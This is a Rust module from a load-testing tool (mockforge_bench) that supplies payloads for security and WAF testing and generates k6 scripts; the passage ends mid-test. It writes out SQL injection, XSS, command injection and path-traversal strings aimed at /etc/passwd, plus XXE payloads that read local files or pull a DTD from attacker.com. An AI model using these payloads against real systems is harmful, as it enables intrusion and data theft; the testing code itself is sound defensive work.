Skip to main content

mockforge_bench/
security_payloads.rs

1//! Security testing payloads for load testing
2//!
3//! This module provides built-in security testing payloads for common
4//! vulnerability categories including SQL injection, XSS, command injection,
5//! and path traversal.
6
7use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12/// Escape a string for safe use in a JavaScript single-quoted string literal.
13/// Handles all problematic characters including:
14/// - Backslashes, single quotes, newlines, carriage returns
15/// - Backticks (template literals)
16/// - Unicode line/paragraph separators (U+2028, U+2029)
17/// - Null bytes and other control characters
18pub fn escape_js_string(s: &str) -> String {
19    let mut result = String::with_capacity(s.len() * 2);
20    for c in s.chars() {
21        match c {
22            '\\' => result.push_str("\\\\"),
23            '\'' => result.push_str("\\'"),
24            '"' => result.push_str("\\\""),
25            '`' => result.push_str("\\`"),
26            '\n' => result.push_str("\\n"),
27            '\r' => result.push_str("\\r"),
28            '\t' => result.push_str("\\t"),
29            '\0' => result.push_str("\\0"),
30            // Unicode line separator
31            '\u{2028}' => result.push_str("\\u2028"),
32            // Unicode paragraph separator
33            '\u{2029}' => result.push_str("\\u2029"),
34            // Other control characters (0x00-0x1F except already handled)
35            c if c.is_control() => {
36                result.push_str(&format!("\\u{:04x}", c as u32));
37            }
38            c => result.push(c),
39        }
40    }
41    result
42}
43
44/// Security payload categories
45#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
46#[serde(rename_all = "kebab-case")]
47pub enum SecurityCategory {
48    /// SQL Injection payloads
49    SqlInjection,
50    /// Cross-Site Scripting (XSS) payloads
51    Xss,
52    /// Command Injection payloads
53    CommandInjection,
54    /// Path Traversal payloads
55    PathTraversal,
56    /// Server-Side Template Injection
57    Ssti,
58    /// LDAP Injection
59    LdapInjection,
60    /// XML External Entity (XXE)
61    Xxe,
62}
63
64impl std::fmt::Display for SecurityCategory {
65    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
66        match self {
67            Self::SqlInjection => write!(f, "sqli"),
68            Self::Xss => write!(f, "xss"),
69            Self::CommandInjection => write!(f, "command-injection"),
70            Self::PathTraversal => write!(f, "path-traversal"),
71            Self::Ssti => write!(f, "ssti"),
72            Self::LdapInjection => write!(f, "ldap-injection"),
73            Self::Xxe => write!(f, "xxe"),
74        }
75    }
76}
77
78impl std::str::FromStr for SecurityCategory {
79    type Err = String;
80
81    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
82        match s.to_lowercase().replace('_', "-").as_str() {
83            "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
84            "xss" | "cross-site-scripting" => Ok(Self::Xss),
85            "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
86            "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
87            "ssti" | "template-injection" => Ok(Self::Ssti),
88            "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
89            "xxe" | "xml-external-entity" => Ok(Self::Xxe),
90            _ => Err(format!("Unknown security category: '{}'", s)),
91        }
92    }
93}
94
95/// Where the payload should be injected
96#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
97#[serde(rename_all = "kebab-case")]
98pub enum PayloadLocation {
99    /// Payload in URI/query string (default for generic payloads)
100    #[default]
101    Uri,
102    /// Payload in HTTP header
103    Header,
104    /// Payload in request body
105    Body,
106}
107
108impl std::fmt::Display for PayloadLocation {
109    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
110        match self {
111            Self::Uri => write!(f, "uri"),
112            Self::Header => write!(f, "header"),
113            Self::Body => write!(f, "body"),
114        }
115    }
116}
117
118/// A security testing payload
119#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SecurityPayload {
121    /// The payload string to inject
122    pub payload: String,
123    /// Category of the payload
124    pub category: SecurityCategory,
125    /// Description of what this payload tests
126    pub description: String,
127    /// Whether this is considered a high-risk payload
128    pub high_risk: bool,
129    /// Where to inject the payload (uri, header, body)
130    #[serde(default)]
131    pub location: PayloadLocation,
132    /// Header name if location is Header (e.g., "User-Agent", "Cookie")
133    #[serde(skip_serializing_if = "Option::is_none")]
134    pub header_name: Option<String>,
135    /// Group ID for multi-part payloads that must be sent together in one request
136    /// (e.g., CRS test cases with URI + headers + body parts)
137    #[serde(skip_serializing_if = "Option::is_none")]
138    pub group_id: Option<String>,
139    /// When true, URI payload replaces the request path instead of being appended as a query param.
140    /// Used for CRS tests where the attack IS the path (e.g., 942101: `POST /1234%20OR%201=1`).
141    #[serde(skip_serializing_if = "Option::is_none")]
142    pub inject_as_path: Option<bool>,
143    /// Raw form-encoded body string for sending as `application/x-www-form-urlencoded`.
144    /// Used for CRS tests that send form-encoded data (e.g., 942432: `var=;;dd foo bar`).
145    #[serde(skip_serializing_if = "Option::is_none")]
146    pub form_encoded_body: Option<String>,
147}
148
149impl SecurityPayload {
150    /// Create a new security payload
151    pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
152        Self {
153            payload,
154            category,
155            description,
156            high_risk: false,
157            location: PayloadLocation::Uri,
158            header_name: None,
159            group_id: None,
160            inject_as_path: None,
161            form_encoded_body: None,
162        }
163    }
164
165    /// Mark as high risk
166    pub fn high_risk(mut self) -> Self {
167        self.high_risk = true;
168        self
169    }
170
171    /// Set the injection location
172    pub fn with_location(mut self, location: PayloadLocation) -> Self {
173        self.location = location;
174        self
175    }
176
177    /// Set header name for header payloads
178    pub fn with_header_name(mut self, name: String) -> Self {
179        self.header_name = Some(name);
180        self
181    }
182
183    /// Set group ID for multi-part payloads that must be sent together
184    pub fn with_group_id(mut self, group_id: String) -> Self {
185        self.group_id = Some(group_id);
186        self
187    }
188
189    /// Mark this URI payload as path injection (replaces path instead of query param)
190    pub fn with_inject_as_path(mut self) -> Self {
191        self.inject_as_path = Some(true);
192        self
193    }
194
195    /// Set raw form-encoded body for `application/x-www-form-urlencoded` delivery
196    pub fn with_form_encoded_body(mut self, raw: String) -> Self {
197        self.form_encoded_body = Some(raw);
198        self
199    }
200}
201
202/// Configuration for security testing
203#[derive(Debug, Clone, Serialize, Deserialize)]
204pub struct SecurityTestConfig {
205    /// Whether security testing is enabled
206    pub enabled: bool,
207    /// Categories to test
208    pub categories: HashSet<SecurityCategory>,
209    /// Specific fields to target for injection
210    pub target_fields: Vec<String>,
211    /// Path to custom payloads file (extends built-in)
212    pub custom_payloads_file: Option<String>,
213    /// Whether to include high-risk payloads
214    pub include_high_risk: bool,
215}
216
217impl Default for SecurityTestConfig {
218    fn default() -> Self {
219        let mut categories = HashSet::new();
220        categories.insert(SecurityCategory::SqlInjection);
221        categories.insert(SecurityCategory::Xss);
222
223        Self {
224            enabled: false,
225            categories,
226            target_fields: Vec::new(),
227            custom_payloads_file: None,
228            include_high_risk: false,
229        }
230    }
231}
232
233impl SecurityTestConfig {
234    /// Enable security testing
235    pub fn enable(mut self) -> Self {
236        self.enabled = true;
237        self
238    }
239
240    /// Set categories to test
241    pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
242        self.categories = categories;
243        self
244    }
245
246    /// Set target fields
247    pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
248        self.target_fields = fields;
249        self
250    }
251
252    /// Set custom payloads file
253    pub fn with_custom_payloads(mut self, path: String) -> Self {
254        self.custom_payloads_file = Some(path);
255        self
256    }
257
258    /// Enable high-risk payloads
259    pub fn with_high_risk(mut self) -> Self {
260        self.include_high_risk = true;
261        self
262    }
263
264    /// Parse categories from a comma-separated string
265    pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
266        if s.is_empty() {
267            return Ok(HashSet::new());
268        }
269
270        s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
271    }
272}
273
274/// Built-in security payloads
275pub struct SecurityPayloads;
276
277impl SecurityPayloads {
278    /// Get SQL injection payloads
279    pub fn sql_injection() -> Vec<SecurityPayload> {
280        vec![
281            SecurityPayload::new(
282                "' OR '1'='1".to_string(),
283                SecurityCategory::SqlInjection,
284                "Basic SQL injection tautology".to_string(),
285            ),
286            SecurityPayload::new(
287                "' OR '1'='1' --".to_string(),
288                SecurityCategory::SqlInjection,
289                "SQL injection with comment".to_string(),
290            ),
291            SecurityPayload::new(
292                "'; DROP TABLE users; --".to_string(),
293                SecurityCategory::SqlInjection,
294                "SQL injection table drop attempt".to_string(),
295            )
296            .high_risk(),
297            SecurityPayload::new(
298                "' UNION SELECT * FROM users --".to_string(),
299                SecurityCategory::SqlInjection,
300                "SQL injection union-based data extraction".to_string(),
301            ),
302            SecurityPayload::new(
303                "1' AND '1'='1".to_string(),
304                SecurityCategory::SqlInjection,
305                "SQL injection boolean-based blind".to_string(),
306            ),
307            SecurityPayload::new(
308                "1; WAITFOR DELAY '0:0:5' --".to_string(),
309                SecurityCategory::SqlInjection,
310                "SQL injection time-based blind (MSSQL)".to_string(),
311            ),
312            SecurityPayload::new(
313                "1' AND SLEEP(5) --".to_string(),
314                SecurityCategory::SqlInjection,
315                "SQL injection time-based blind (MySQL)".to_string(),
316            ),
317        ]
318    }
319
320    /// Get XSS payloads
321    pub fn xss() -> Vec<SecurityPayload> {
322        vec![
323            SecurityPayload::new(
324                "<script>alert('XSS')</script>".to_string(),
325                SecurityCategory::Xss,
326                "Basic script tag XSS".to_string(),
327            ),
328            SecurityPayload::new(
329                "<img src=x onerror=alert('XSS')>".to_string(),
330                SecurityCategory::Xss,
331                "Image tag XSS with onerror".to_string(),
332            ),
333            SecurityPayload::new(
334                "<svg/onload=alert('XSS')>".to_string(),
335                SecurityCategory::Xss,
336                "SVG tag XSS with onload".to_string(),
337            ),
338            SecurityPayload::new(
339                "javascript:alert('XSS')".to_string(),
340                SecurityCategory::Xss,
341                "JavaScript protocol XSS".to_string(),
342            ),
343            SecurityPayload::new(
344                "<body onload=alert('XSS')>".to_string(),
345                SecurityCategory::Xss,
346                "Body tag XSS with onload".to_string(),
347            ),
348            SecurityPayload::new(
349                "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
350                SecurityCategory::Xss,
351                "XSS with character encoding".to_string(),
352            ),
353            SecurityPayload::new(
354                "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
355                SecurityCategory::Xss,
356                "CSS-based XSS".to_string(),
357            ),
358        ]
359    }
360
361    /// Get command injection payloads
362    pub fn command_injection() -> Vec<SecurityPayload> {
363        vec![
364            SecurityPayload::new(
365                "; ls -la".to_string(),
366                SecurityCategory::CommandInjection,
367                "Unix command injection with semicolon".to_string(),
368            ),
369            SecurityPayload::new(
370                "| cat /etc/passwd".to_string(),
371                SecurityCategory::CommandInjection,
372                "Unix command injection with pipe".to_string(),
373            )
374            .high_risk(),
375            SecurityPayload::new(
376                "$(cat /etc/passwd)".to_string(),
377                SecurityCategory::CommandInjection,
378                "Unix command substitution".to_string(),
379            )
380            .high_risk(),
381            SecurityPayload::new(
382                "`cat /etc/passwd`".to_string(),
383                SecurityCategory::CommandInjection,
384                "Unix backtick command execution".to_string(),
385            )
386            .high_risk(),
387            SecurityPayload::new(
388                "& dir".to_string(),
389                SecurityCategory::CommandInjection,
390                "Windows command injection".to_string(),
391            ),
392            SecurityPayload::new(
393                "|| ping -c 3 127.0.0.1".to_string(),
394                SecurityCategory::CommandInjection,
395                "Command injection with OR".to_string(),
396            ),
397            SecurityPayload::new(
398                "\n/bin/sh -c 'echo vulnerable'".to_string(),
399                SecurityCategory::CommandInjection,
400                "Newline-based command injection".to_string(),
401            ),
402        ]
403    }
404
405    /// Get path traversal payloads
406    pub fn path_traversal() -> Vec<SecurityPayload> {
407        vec![
408            SecurityPayload::new(
409                "../../../etc/passwd".to_string(),
410                SecurityCategory::PathTraversal,
411                "Basic path traversal".to_string(),
412            ),
413            SecurityPayload::new(
414                "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
415                SecurityCategory::PathTraversal,
416                "URL-encoded path traversal".to_string(),
417            ),
418            SecurityPayload::new(
419                "....//....//....//etc/passwd".to_string(),
420                SecurityCategory::PathTraversal,
421                "Double-dot path traversal bypass".to_string(),
422            ),
423            SecurityPayload::new(
424                "..%252f..%252f..%252fetc%252fpasswd".to_string(),
425                SecurityCategory::PathTraversal,
426                "Double URL-encoded path traversal".to_string(),
427            ),
428            SecurityPayload::new(
429                "/etc/passwd%00.jpg".to_string(),
430                SecurityCategory::PathTraversal,
431                "Null byte injection path traversal".to_string(),
432            ),
433            SecurityPayload::new(
434                "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
435                SecurityCategory::PathTraversal,
436                "Windows path traversal".to_string(),
437            ),
438        ]
439    }
440
441    /// Get SSTI payloads
442    pub fn ssti() -> Vec<SecurityPayload> {
443        vec![
444            SecurityPayload::new(
445                "{{7*7}}".to_string(),
446                SecurityCategory::Ssti,
447                "Jinja2/Twig SSTI detection".to_string(),
448            ),
449            SecurityPayload::new(
450                "${7*7}".to_string(),
451                SecurityCategory::Ssti,
452                "Freemarker SSTI detection".to_string(),
453            ),
454            SecurityPayload::new(
455                "<%= 7*7 %>".to_string(),
456                SecurityCategory::Ssti,
457                "ERB SSTI detection".to_string(),
458            ),
459            SecurityPayload::new(
460                "#{7*7}".to_string(),
461                SecurityCategory::Ssti,
462                "Ruby SSTI detection".to_string(),
463            ),
464        ]
465    }
466
467    /// Get LDAP injection payloads
468    pub fn ldap_injection() -> Vec<SecurityPayload> {
469        vec![
470            SecurityPayload::new(
471                "*".to_string(),
472                SecurityCategory::LdapInjection,
473                "LDAP wildcard - match all".to_string(),
474            ),
475            SecurityPayload::new(
476                "*)(&".to_string(),
477                SecurityCategory::LdapInjection,
478                "LDAP filter injection - close and inject".to_string(),
479            ),
480            SecurityPayload::new(
481                "*)(uid=*))(|(uid=*".to_string(),
482                SecurityCategory::LdapInjection,
483                "LDAP OR injection to bypass auth".to_string(),
484            ),
485            SecurityPayload::new(
486                "admin)(&)".to_string(),
487                SecurityCategory::LdapInjection,
488                "LDAP always true injection".to_string(),
489            ),
490            SecurityPayload::new(
491                "x)(|(objectClass=*".to_string(),
492                SecurityCategory::LdapInjection,
493                "LDAP objectClass enumeration".to_string(),
494            ),
495            SecurityPayload::new(
496                "*)(cn=*".to_string(),
497                SecurityCategory::LdapInjection,
498                "LDAP CN attribute injection".to_string(),
499            ),
500            SecurityPayload::new(
501                "*)%00".to_string(),
502                SecurityCategory::LdapInjection,
503                "LDAP null byte injection".to_string(),
504            ),
505            SecurityPayload::new(
506                "*))%00".to_string(),
507                SecurityCategory::LdapInjection,
508                "LDAP double close with null byte".to_string(),
509            ),
510        ]
511    }
512
513    /// Get XXE (XML External Entity) payloads
514    pub fn xxe() -> Vec<SecurityPayload> {
515        vec![
516            SecurityPayload::new(
517                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
518                SecurityCategory::Xxe,
519                "Basic XXE - read /etc/passwd".to_string(),
520            ).high_risk(),
521            SecurityPayload::new(
522                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
523                SecurityCategory::Xxe,
524                "Windows XXE - read win.ini".to_string(),
525            ).high_risk(),
526            SecurityPayload::new(
527                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
528                SecurityCategory::Xxe,
529                "XXE SSRF - external request".to_string(),
530            ).high_risk(),
531            SecurityPayload::new(
532                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
533                SecurityCategory::Xxe,
534                "External DTD XXE".to_string(),
535            ).high_risk(),
536            SecurityPayload::new(
537                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
538                SecurityCategory::Xxe,
539                "PHP expect XXE - command execution".to_string(),
540            ).high_risk(),
541            SecurityPayload::new(
542                r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
543                SecurityCategory::Xxe,
544                "PHP filter XXE - base64 encoded read".to_string(),
545            ).high_risk(),
546            SecurityPayload::new(
547                r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY &#37; b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
548                SecurityCategory::Xxe,
549                "Parameter entity XXE".to_string(),
550            ).high_risk(),
551            SecurityPayload::new(
552                r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
553                SecurityCategory::Xxe,
554                "External DTD reference".to_string(),
555            ).high_risk(),
556        ]
557    }
558
559    /// Get all payloads for a specific category
560    pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
561        match category {
562            SecurityCategory::SqlInjection => Self::sql_injection(),
563            SecurityCategory::Xss => Self::xss(),
564            SecurityCategory::CommandInjection => Self::command_injection(),
565            SecurityCategory::PathTraversal => Self::path_traversal(),
566            SecurityCategory::Ssti => Self::ssti(),
567            SecurityCategory::LdapInjection => Self::ldap_injection(),
568            SecurityCategory::Xxe => Self::xxe(),
569        }
570    }
571
572    /// Get all payloads for configured categories
573    pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
574        let mut payloads: Vec<SecurityPayload> =
575            config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
576
577        // Filter out high-risk if not included
578        if !config.include_high_risk {
579            payloads.retain(|p| !p.high_risk);
580        }
581
582        payloads
583    }
584
585    /// Load custom payloads from a file
586    pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
587        let content = std::fs::read_to_string(path)
588            .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
589
590        serde_json::from_str(&content)
591            .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
592    }
593}
594
595/// Generates k6 JavaScript code for security testing
596pub struct SecurityTestGenerator;
597
598impl SecurityTestGenerator {
599    /// Generate k6 code for security payload selection
600    /// When cycle_all is true, payloads are cycled through sequentially instead of randomly
601    pub fn generate_payload_selection(payloads: &[SecurityPayload], cycle_all: bool) -> String {
602        let mut code = String::new();
603
604        code.push_str("// Security testing payloads\n");
605        code.push_str(&format!("// Total payloads: {}\n", payloads.len()));
606        code.push_str("const securityPayloads = [\n");
607
608        for payload in payloads {
609            // Escape the payload for JavaScript string literal
610            let escaped = escape_js_string(&payload.payload);
611            let escaped_desc = escape_js_string(&payload.description);
612            let header_name = payload
613                .header_name
614                .as_ref()
615                .map(|h| format!("'{}'", escape_js_string(h)))
616                .unwrap_or_else(|| "null".to_string());
617            let group_id = payload
618                .group_id
619                .as_ref()
620                .map(|g| format!("'{}'", escape_js_string(g)))
621                .unwrap_or_else(|| "null".to_string());
622
623            let inject_as_path = if payload.inject_as_path == Some(true) {
624                "true".to_string()
625            } else {
626                "false".to_string()
627            };
628            let form_body = payload
629                .form_encoded_body
630                .as_ref()
631                .map(|b| format!("'{}'", escape_js_string(b)))
632                .unwrap_or_else(|| "null".to_string());
633
634            code.push_str(&format!(
635                "  {{ payload: '{}', category: '{}', description: '{}', location: '{}', headerName: {}, groupId: {}, injectAsPath: {}, formBody: {} }},\n",
636                escaped, payload.category, escaped_desc, payload.location, header_name, group_id, inject_as_path, form_body
637            ));
638        }
639
640        code.push_str("];\n\n");
641
642        // Build grouped payloads: entries sharing a groupId are collected together,
643        // ungrouped entries become single-element arrays
644        code.push_str(
645            "// Grouped payloads: multi-part test cases are sent together in one request\n",
646        );
647        code.push_str("const groupedPayloads = (function() {\n");
648        code.push_str("  const groups = [];\n");
649        code.push_str("  const groupMap = {};\n");
650        code.push_str("  for (const p of securityPayloads) {\n");
651        code.push_str("    if (p.groupId) {\n");
652        code.push_str("      if (!groupMap[p.groupId]) {\n");
653        code.push_str("        groupMap[p.groupId] = [];\n");
654        code.push_str("        groups.push(groupMap[p.groupId]);\n");
655        code.push_str("      }\n");
656        code.push_str("      groupMap[p.groupId].push(p);\n");
657        code.push_str("    } else {\n");
658        code.push_str("      groups.push([p]);\n");
659        code.push_str("    }\n");
660        code.push_str("  }\n");
661        code.push_str("  return groups;\n");
662        code.push_str("})();\n\n");
663
664        if cycle_all {
665            // Cycle through all payload groups sequentially
666            code.push_str("// Cycle through ALL payload groups sequentially\n");
667            code.push_str("// Each VU starts at a different offset based on its VU number for better payload distribution\n");
668            code.push_str("let __payloadIndex = (__VU - 1) % groupedPayloads.length;\n");
669            code.push_str("function getNextSecurityPayload() {\n");
670            code.push_str("  const group = groupedPayloads[__payloadIndex];\n");
671            code.push_str("  __payloadIndex = (__payloadIndex + 1) % groupedPayloads.length;\n");
672            code.push_str("  return group;\n");
673            code.push_str("}\n\n");
674        } else {
675            // Random selection (original behavior)
676            code.push_str("// Select random security payload group\n");
677            code.push_str("function getNextSecurityPayload() {\n");
678            code.push_str(
679                "  return groupedPayloads[Math.floor(Math.random() * groupedPayloads.length)];\n",
680            );
681            code.push_str("}\n\n");
682        }
683
684        code
685    }
686
687    /// Generate k6 code for applying security payload to request
688    pub fn generate_apply_payload(target_fields: &[String]) -> String {
689        let mut code = String::new();
690
691        code.push_str("// Apply security payload to request body\n");
692        code.push_str("// For POST/PUT/PATCH requests, inject ALL payloads into body for effective WAF testing\n");
693        code.push_str("// Injects into ALL string fields to maximize WAF detection surface area\n");
694        code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
695        code.push_str("  const result = { ...payload };\n");
696        code.push_str("  \n");
697
698        if target_fields.is_empty() {
699            code.push_str("  // No specific target fields - inject into ALL string fields for maximum coverage\n");
700            code.push_str(
701                "  // This ensures WAF can detect payloads regardless of which field it scans\n",
702            );
703            code.push_str("  const keys = Object.keys(result);\n");
704            code.push_str("  if (keys.length === 0 && secPayload.location === 'body') {\n");
705            code.push_str("    // Empty body object - add a test field with the payload\n");
706            code.push_str("    result.__test = secPayload.payload;\n");
707            code.push_str("  } else {\n");
708            code.push_str("    for (const key of keys) {\n");
709            code.push_str("      if (typeof result[key] === 'string') {\n");
710            code.push_str("        result[key] = secPayload.payload;\n");
711            code.push_str("      }\n");
712            code.push_str("    }\n");
713            code.push_str("  }\n");
714        } else {
715            code.push_str("  // Inject into specified target fields\n");
716            code.push_str("  for (const field of targetFields) {\n");
717            code.push_str("    if (result.hasOwnProperty(field)) {\n");
718            code.push_str("      result[field] = secPayload.payload;\n");
719            code.push_str("    }\n");
720            code.push_str("  }\n");
721        }
722
723        code.push_str("  \n");
724        code.push_str("  return result;\n");
725        code.push_str("}\n");
726
727        code
728    }
729
730    /// Generate k6 code for security test checks
731    pub fn generate_security_checks() -> String {
732        r#"// Security test response checks
733function checkSecurityResponse(res, expectedVulnerable) {
734  // Check for common vulnerability indicators
735  const body = res.body || '';
736
737  const vulnerabilityIndicators = [
738    // SQL injection
739    'SQL syntax',
740    'mysql_fetch',
741    'ORA-',
742    'PostgreSQL',
743
744    // Command injection
745    'root:',
746    '/bin/',
747    'uid=',
748
749    // Path traversal
750    '[extensions]',
751    'passwd',
752
753    // XSS (reflected)
754    '<script>alert',
755    'onerror=',
756
757    // Error disclosure
758    'stack trace',
759    'Exception',
760    'Error in',
761  ];
762
763  const foundIndicator = vulnerabilityIndicators.some(ind =>
764    body.toLowerCase().includes(ind.toLowerCase())
765  );
766
767  if (foundIndicator) {
768    console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
769    console.warn(`Category: ${securityPayload.category}`);
770    console.warn(`Status: ${res.status}`);
771  }
772
773  return check(res, {
774    'security test: no obvious vulnerability': () => !foundIndicator,
775    'security test: proper error handling': (r) => r.status < 500,
776  });
777}
778"#
779        .to_string()
780    }
781}
782
783#[cfg(test)]
784mod tests {
785    use super::*;
786    use std::str::FromStr;
787
788    #[test]
789    fn test_security_category_display() {
790        assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
791        assert_eq!(SecurityCategory::Xss.to_string(), "xss");
792        assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
793        assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
794    }
795
796    #[test]
797    fn test_security_category_from_str() {
798        assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
799        assert_eq!(
800            SecurityCategory::from_str("sql-injection").unwrap(),
801            SecurityCategory::SqlInjection
802        );
803        assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
804        assert_eq!(
805            SecurityCategory::from_str("command-injection").unwrap(),
806            SecurityCategory::CommandInjection
807        );
808    }
809
810    #[test]
811    fn test_security_category_from_str_invalid() {
812        assert!(SecurityCategory::from_str("invalid").is_err());
813    }
814
815    #[test]
816    fn test_security_test_config_default() {
817        let config = SecurityTestConfig::default();
818        assert!(!config.enabled);
819        assert!(config.categories.contains(&SecurityCategory::SqlInjection));
820        assert!(config.categories.contains(&SecurityCategory::Xss));
821        assert!(!config.include_high_risk);
822    }
823
824    #[test]
825    fn test_security_test_config_builders() {
826        let mut categories = HashSet::new();
827        categories.insert(SecurityCategory::CommandInjection);
828
829        let config = SecurityTestConfig::default()
830            .enable()
831            .with_categories(categories)
832            .with_target_fields(vec!["name".to_string()])
833            .with_high_risk();
834
835        assert!(config.enabled);
836        assert!(config.categories.contains(&SecurityCategory::CommandInjection));
837        assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
838        assert_eq!(config.target_fields, vec!["name"]);
839        assert!(config.include_high_risk);
840    }
841
842    #[test]
843    fn test_parse_categories() {
844        let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
845        assert_eq!(categories.len(), 3);
846        assert!(categories.contains(&SecurityCategory::SqlInjection));
847        assert!(categories.contains(&SecurityCategory::Xss));
848        assert!(categories.contains(&SecurityCategory::PathTraversal));
849    }
850
851    #[test]
852    fn test_sql_injection_payloads() {
853        let payloads = SecurityPayloads::sql_injection();
854        assert!(!payloads.is_empty());
855        assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
856        assert!(payloads.iter().any(|p| p.payload.contains("OR")));
857    }
858
859    #[test]
860    fn test_xss_payloads() {
861        let payloads = SecurityPayloads::xss();
862        assert!(!payloads.is_empty());
863        assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
864        assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
865    }
866
867    #[test]
868    fn test_command_injection_payloads() {
869        let payloads = SecurityPayloads::command_injection();
870        assert!(!payloads.is_empty());
871        assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
872    }
873
874    #[test]
875    fn test_path_traversal_payloads() {
876        let payloads = SecurityPayloads::path_traversal();
877        assert!(!payloads.is_empty());
878        assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
879        assert!(payloads.iter().any(|p| p.payload.contains("..")));
880    }
881
882    #[test]
883    fn test_get_payloads_filters_high_risk() {
884        let config = SecurityTestConfig::default();
885        let payloads = SecurityPayloads::get_payloads(&config);
886
887        // Should not include high-risk payloads by default
888        assert!(payloads.iter().all(|p| !p.high_risk));
889    }
890
891    #[test]
892    fn test_get_payloads_includes_high_risk() {
893        let config = SecurityTestConfig::default().with_high_risk();
894        let payloads = SecurityPayloads::get_payloads(&config);
895
896        // Should include some high-risk payloads
897        assert!(payloads.iter().any(|p| p.high_risk));
898    }
899
900    #[test]
901    fn test_generate_payload_selection_random() {
902        let payloads = vec![SecurityPayload::new(
903            "' OR '1'='1".to_string(),
904            SecurityCategory::SqlInjection,
905            "Basic SQLi".to_string(),
906        )];
907
908        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
909        assert!(code.contains("securityPayloads"));
910        assert!(code.contains("groupedPayloads"));
911        assert!(code.contains("OR"));
912        assert!(code.contains("Math.random()"));
913        assert!(code.contains("getNextSecurityPayload"));
914        // getNextSecurityPayload should return from groupedPayloads (arrays)
915        assert!(code.contains("groupedPayloads[Math.floor"));
916    }
917
918    #[test]
919    fn test_generate_payload_selection_cycle_all() {
920        let payloads = vec![SecurityPayload::new(
921            "' OR '1'='1".to_string(),
922            SecurityCategory::SqlInjection,
923            "Basic SQLi".to_string(),
924        )];
925
926        let code = SecurityTestGenerator::generate_payload_selection(&payloads, true);
927        assert!(code.contains("securityPayloads"));
928        assert!(code.contains("groupedPayloads"));
929        assert!(code.contains("Cycle through ALL payload groups"));
930        assert!(code.contains("__payloadIndex"));
931        assert!(code.contains("getNextSecurityPayload"));
932        assert!(!code.contains("Math.random()"));
933        // Verify VU-based offset for better payload distribution across VUs
934        assert!(
935            code.contains("(__VU - 1) % groupedPayloads.length"),
936            "Should use VU-based offset for payload distribution"
937        );
938    }
939
940    #[test]
941    fn test_generate_payload_selection_with_group_id() {
942        let payloads = vec![
943            SecurityPayload::new(
944                "/test?param=attack".to_string(),
945                SecurityCategory::SqlInjection,
946                "URI part".to_string(),
947            )
948            .with_group_id("942290-1".to_string()),
949            SecurityPayload::new(
950                "ModSecurity CRS 3 Tests".to_string(),
951                SecurityCategory::SqlInjection,
952                "Header part".to_string(),
953            )
954            .with_location(PayloadLocation::Header)
955            .with_header_name("User-Agent".to_string())
956            .with_group_id("942290-1".to_string()),
957        ];
958
959        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
